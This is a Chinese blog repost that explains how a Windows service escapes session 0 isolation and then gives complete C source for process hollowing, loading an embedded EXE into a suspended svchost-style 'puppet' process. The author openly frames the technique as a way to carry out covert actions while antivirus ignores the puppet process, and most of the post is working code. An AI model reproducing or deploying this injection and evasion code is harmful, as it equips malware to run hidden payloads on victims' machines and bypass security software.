• 突破session 0隔离 和 劫持exe注入(转自梦无极)


    代码基本源于网络,作用看个人需求。

    session 0隔离是个老话题,这里简单讲讲,小伙伴们赶快看过来吧。

    自vista系统开始,进程便有了session空间的概念,一般系统服务进程是在session 0的会话空间里面执行,其他应用程序都是在session 1或者session x会话空间中运行。一般情况下,进程A属于session x会话空间,那么它所创建的进程同样是属于session x会话空间。
    当你写的是个系统服务的时候,由于系统服务进程处于session 0空间,所以该进程如果想创建出一个进程,那么创建出来的进程也就是属于session 0会话空间了。而session 0会话空间中能做的事情有限,比如无法显示一个操作界面,很难和用户交互。所以你必须在session 0会话空间中创建出属于非session 0会话空间的进程。
    下面的代码展示了如何去做。

    1. BOOL CreateProcessS (
    2.         __in_opt    LPCWSTR lpApplicationName,
    3.         __inout_opt LPWSTR lpCommandLine,
    4.         __in_opt    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    5.         __in_opt    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    6.         __in        BOOL bInheritHandles,
    7.         __in        DWORD dwCreationFlags,
    8.         __in_opt    LPCWSTR lpCurrentDirectory,
    9.         __in        LPSTARTUPINFOW lpStartupInfo,
    10.         __out       LPPROCESS_INFORMATION lpProcessInformation
    11.         )
    12. {
    13.         BOOL  isSuccess = FALSE;
    14.         DWORD dwCurrentSessionId = 0;
    15.         ProcessIdToSessionId(GetCurrentProcessId(),&dwCurrentSessionId);
    16.         if (dwCurrentSessionId == 0)
    17.         {
    18.                 HANDLE        hToken = NULL;
    19.                 DWORD        dwSessionID = 0;
    20.                 LPVOID        lpEnvironment = NULL;
    21.                 HANDLE        hDuplicatedToken = NULL;
    22.                 //服务进程会话id为零,以下代码用于绕过session 0隔离
    23.                 dwSessionID = WTSGetActiveConsoleSessionId();
    24.                 // 获得当前Session的用户令牌
    25.                 if (WTSQueryUserToken(dwSessionID,&hToken) == FALSE)
    26.                 {
    27.                         goto Cleanup;
    28.                 }
    29.                 // 复制令牌
    30.                 if (DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,NULL,SecurityIdentification, TokenPrimary,&hDuplicatedToken) == FALSE)
    31.                 {
    32.                         goto Cleanup;
    33.                 }
    34.                 // 创建用户Session环境
    35.                 if (CreateEnvironmentBlock(&lpEnvironment,hDuplicatedToken,FALSE) == FALSE)
    36.                 {
    37.                         goto Cleanup;
    38.                 }
    39.                 // 在复制的用户Session下执行应用程序,创建进程。
    40.                 if ((isSuccess = CreateProcessAsUser(hDuplicatedToken,lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,bInheritHandles,
    41.                         dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation) )== FALSE)
    42.                 {
    43.                         goto Cleanup;
    44.                 }
    45.                 // 清理工作
    46. Cleanup:
    47.                 if (hToken != NULL)
    48.                 {
    49.                         CloseHandle(hToken);
    50.                 }
    51.                 if (hDuplicatedToken != NULL)
    52.                 {
    53.                         CloseHandle(hDuplicatedToken);
    54.                 }
    55.                 if (lpEnvironment != NULL)
    56.                 {
    57.                         DestroyEnvironmentBlock(lpEnvironment);
    58.                 }
    59.         }
    60.         else
    61.         {
    62.                 isSuccess = CreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,bInheritHandles,dwCreationFlags,NULL,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);
    63.         }
    64.         return isSuccess;
    65. }
    复制代码



    简单吧,代码主要来自网络。

    有了创建的代码还不行,因为有时候我们服务进程需要做一点儿猥琐的事情,比如创建一个傀儡进程,比如选择一个svchost作为傀儡进程,然后执行我们偷偷想要做的事情。创建傀儡进程的好处是杀毒基本不会管你傀儡进程中做什么事情,那就不用考虑行为拦截问题了。

    1. void CreatePuppetProcess(HMODULE hModule,WCHAR *pszPuppetImagePath)
    2. {
    3.         int                                i;
    4.         HRSRC                        hrSrc;
    5.         HGLOBAL                        hg;
    6.         DWORD                        dwSize;
    7. #ifdef _WIN64
    8.         WOW64_CONTEXT                ThreadContext = {0};
    9. #else
    10.         CONTEXT                        ThreadContext = {0};
    11. #endif // _WIN64
    12.         DWORD                        dwPuppetProcessImageBase = 0;
    13.         PVOID                        lpNewProcessImageBase = NULL;
    14.         SIZE_T                        NumberOfBytes = 0;
    15.         PIMAGE_DOS_HEADER                lpImageDosHeader = NULL;
    16.         PIMAGE_NT_HEADERS32                lpImageNtHeaders = NULL;
    17.         PIMAGE_SECTION_HEADER        lpImageSectionHeader = NULL;
    18.         STARTUPINFO                                StartupInfo = {0};
    19.         PROCESS_INFORMATION                ProcessInfo = {0};
    20.         ZWUNMAPVIEWOFSECTION        pfnZwUnmapViewOfSection = NULL;
    21.         StartupInfo.cb = sizeof(STARTUPINFO);
    22.         hrSrc =  FindResourceA(hModule, MAKEINTRESOURCEA(IDR_DLL1),"DLL"); 
    23.         hg = LoadResource(hModule, hrSrc);
    24.         dwSize = SizeofResource( hModule,hrSrc);
    25.         if (dwSize == 0){        return;        }
    26.         pfnZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(LoadLibraryA("ntdll.dll"),"ZwUnmapViewOfSection");
    27.         if (pfnZwUnmapViewOfSection == NULL){        return;        }
    28.         lpImageDosHeader = (PIMAGE_DOS_HEADER)hg;
    29.         lpImageNtHeaders = (PIMAGE_NT_HEADERS32)((ULONG_PTR)hg + lpImageDosHeader->e_lfanew);
    30.         lpImageSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)hg + lpImageDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
    31.         if (CreateProcessS(pszPuppetImagePath/*L"C:\Windows\System32\calc.exe"*/,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,&StartupInfo,&ProcessInfo) == FALSE)
    32.         {
    33.                 goto __exit;
    34.         }
    35.         ThreadContext.ContextFlags = CONTEXT_FULL;
    36. #ifdef _WIN64
    37.         if (Wow64GetThreadContext(ProcessInfo.hThread,&ThreadContext) == FALSE)
    38.         {
    39.                 goto __exit;
    40.         }
    41. #else
    42.         if (GetThreadContext(ProcessInfo.hThread,&ThreadContext) == FALSE)
    43.         {
    44.                 goto __exit;
    45.         }
    46. #endif // _WIN64
    47.         if (ReadProcessMemory(ProcessInfo.hProcess,(LPCVOID)(ThreadContext.Ebx + 0x8),&dwPuppetProcessImageBase,sizeof(DWORD),&NumberOfBytes) == FALSE)
    48.         {
    49.                 goto __exit;
    50.         }
    51.         if (dwPuppetProcessImageBase == lpImageNtHeaders->OptionalHeader.ImageBase)
    52.         {
    53.                 pfnZwUnmapViewOfSection(ProcessInfo.hProcess,(PVOID)dwPuppetProcessImageBase);
    54.         }
    55.         lpNewProcessImageBase = VirtualAllocEx(ProcessInfo.hProcess,
    56.                 (LPVOID)(ULONG_PTR)lpImageNtHeaders->OptionalHeader.ImageBase,(SIZE_T)lpImageNtHeaders->OptionalHeader.SizeOfImage,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    57.         if (lpNewProcessImageBase == NULL)
    58.         {
    59.                 int error = GetLastError();
    60.                 goto __exit;
    61.         }
    62.         if (WriteProcessMemory(ProcessInfo.hProcess,lpNewProcessImageBase,lpImageDosHeader,(SIZE_T)lpImageNtHeaders->OptionalHeader.SizeOfHeaders,&NumberOfBytes) == FALSE)
    63.         {
    64.                 goto __exit;
    65.         }
    66.         for (i = 0;i < lpImageNtHeaders->FileHeader.NumberOfSections;i++)
    67.         {
    68.                 WriteProcessMemory(ProcessInfo.hProcess,(LPVOID)((ULONG_PTR)lpNewProcessImageBase + lpImageSectionHeader[i].VirtualAddress),
    69.                         (LPCVOID)((ULONG_PTR)hg + lpImageSectionHeader[i].PointerToRawData),(SIZE_T)lpImageSectionHeader[i].SizeOfRawData,&NumberOfBytes);
    70.         }
    71. #ifdef _WIN64
    72.         WriteProcessMemory(ProcessInfo.hProcess,(LPVOID)(ThreadContext.Ebx + 0x8),&lpNewProcessImageBase,sizeof(PVOID),&NumberOfBytes);
    73.         ThreadContext.Eax = 0;
    74.         ThreadContext.Eax = (ULONG)lpNewProcessImageBase + lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
    75.         Wow64SetThreadContext(ProcessInfo.hThread,&ThreadContext);
    76. #else
    77.         WriteProcessMemory(ProcessInfo.hProcess,(LPVOID)(ThreadContext.Ebx + 0x8),&lpNewProcessImageBase,sizeof(PVOID),&NumberOfBytes);
    78.         ThreadContext.Eax = (DWORD)lpNewProcessImageBase + lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
    79.         SetThreadContext(ProcessInfo.hThread,&ThreadContext);
    80. #endif // _WIN64
    81.         ResumeThread(ProcessInfo.hThread);
    82. __exit:
    83.         if (ProcessInfo.hProcess != NULL)
    84.         {
    85.                 CloseHandle(ProcessInfo.hProcess);
    86.         }
    87.         if (ProcessInfo.hThread != NULL)
    88.         {
    89.                 CloseHandle(ProcessInfo.hThread);
    90.         }
    91. }
    复制代码



    首先这个代码是把一个exe程序放在了资源里面,函数第一个参数的模块句柄是当前模块的句柄,如果是dll,那么就是dll的模块句柄。如果你想测试此函数效果,那么你写的就是exe程序运行此函数,这时这里的模块句柄可以为NULL。至于怎么把文件添加到资源,这里我就不讲解方法了,网上很多资料。

    必须注意的是,你所要创建的傀儡进程必须是32位的,你放在资源中的exe也必须是32位的。而你调用CreatePuppetProcess函数所在的进程可以是32位或者64位。


    然后通过此代码你就可以实现创建一个傀儡进程了,如果是在session 0会话空间中创建傀儡进程,这里还会实现突破session 0隔离创建进程。


    小伙伴们赶紧自己去实验吧,更多内容请关注mengwuji.net后续动态。

  • 相关阅读:
    习惯的本质:逐步建立新的常态
    如何度过有用的每一天
    如何利用晚上八点到十点这段时间自我提升
    为什么很多年轻人总会感到迷茫
    当你学会专注,人生才算真正成熟
    如何过上简单的生活
    游标
    触发器

    函数
  • 原文地址:https://www.cnblogs.com/15157737693zsp/p/4691116.html
Copyright © 2020-2023  润新知